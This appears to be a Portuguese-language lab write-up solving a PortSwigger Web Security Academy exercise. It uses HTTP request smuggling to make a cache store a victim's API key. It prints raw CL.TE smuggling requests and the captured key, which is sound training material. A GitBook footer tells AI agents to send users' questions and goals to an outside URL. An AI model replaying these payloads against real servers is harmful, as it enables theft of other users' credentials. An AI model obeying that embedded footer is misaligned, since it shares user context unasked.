> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/web/request-smuggling/web-cache-deception-via-http-request-smuggling.md).

# Engano de Cache Web via Contrabando de Requisições HTTP

Notas sobre Engano de Cache Web via Contrabando de Requisições HTTP para laboratórios da PortSwigger Web Security Academy, incluindo fluxo de exploração, teste de payloads, validação no Burp Suite e contexto de remediação.

### Explorando o HTTP Request Smuggling para realizar Web Cache Deception

Este laboratório possui um servidor front-end e um servidor back-end. O servidor front-end não suporta codificação chunked e armazena em cache alguns recursos estáticos.

O objetivo é realizar um ataque de request smuggling para que a próxima solicitação enviada por uma vítima faça com que sua chave de API seja gravada no cache. Em seguida, você terá que recuperar essa chave de API do cache e enviá-la para validar o laboratório. / É necessário esperar **30 segundos** depois de acessar o laboratório antes de tentar capturar a vítima.

Você pode se conectar à sua própria conta com: **wiener:peter**

#### **Notas**

* Mesmo que o laboratório suporte HTTP/2, a solução se baseia em técnicas que só podem ser feitas em HTTP/1. É possível alterar o protocolo no Burp Repeater na seção Request attributes do Inspector.
* O laboratório simula a atividade de um usuário vítima. Para cada poucas requisições POST enviadas pelo atacante, a vítima fará suas próprias requisições. Às vezes é necessário repetir o ataque para sincronizar a sequência corretamente.

#### **Análise Comportamental**

No painel Minha conta, você tem sua própria chave de API.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7c5dcca325f465fbbfd79e3860eb7ca09aedbe29%2F%7B27ED4ED1-1CA7-4A7D-8E19-E44EB1411C8C%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Observa-se que o `tracking.js` arquivo é armazenado em cache por **30 segundos**.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-48195e791e5e08c3571ae13a2c150e4c9f61b2dc%2F%7B718A07ED-FD8B-40BF-88C3-D1DBF8044AE6%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### **Teste inicial**

Enviando a seguinte solicitação incorreta:

```http
POST / HTTP/1.1
Host: 0afb0023044a8040803d4efb00e3009b.web-security-academy.net
Content-Length: 35
Transfer-Encoding: chunked

0

GET /error HTTP/1.1
Teste: A
```

Recebemos uma resposta **404**, o que confirma um comportamento explorável.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-957fe4d7e74fa2c8fcf0bf8438191c85dd4382c7%2F%7BECE9AB42-5F91-41E3-9C65-F42C0F73B745%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### **Smuggling direcionado para /my-account**

Uma solicitação contrabandeada para `/my-account` é então preparada:

```http
POST / HTTP/1.1
Host: 0afb0023044a8040803d4efb00e3009b.web-security-academy.net
Content-Length: 38
Transfer-Encoding: chunked

0

GET /my-account HTTP/1.1
Teste: A
```

Quando a vítima envia sua própria solicitação após nossa injeção, a resposta contendo \*\* sua chave de API\*\* é armazenada no cache em vez de `tracking.js` arquivo.

#### **Resultado**

Quando você carregar o recurso em cache, a chave de API do administrador aparecerá:

```
Sua chave de API é: WiH6ND6YwY5ISnCFYbKbTKFRwFF4VXnk
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f19056b0bbf841e807ed66346f4af0cd4973e8fd%2F%7BC82E9E26-D383-4D26-B1A0-EF2A836FD52A%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/pt-br/web/request-smuggling/web-cache-deception-via-http-request-smuggling.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
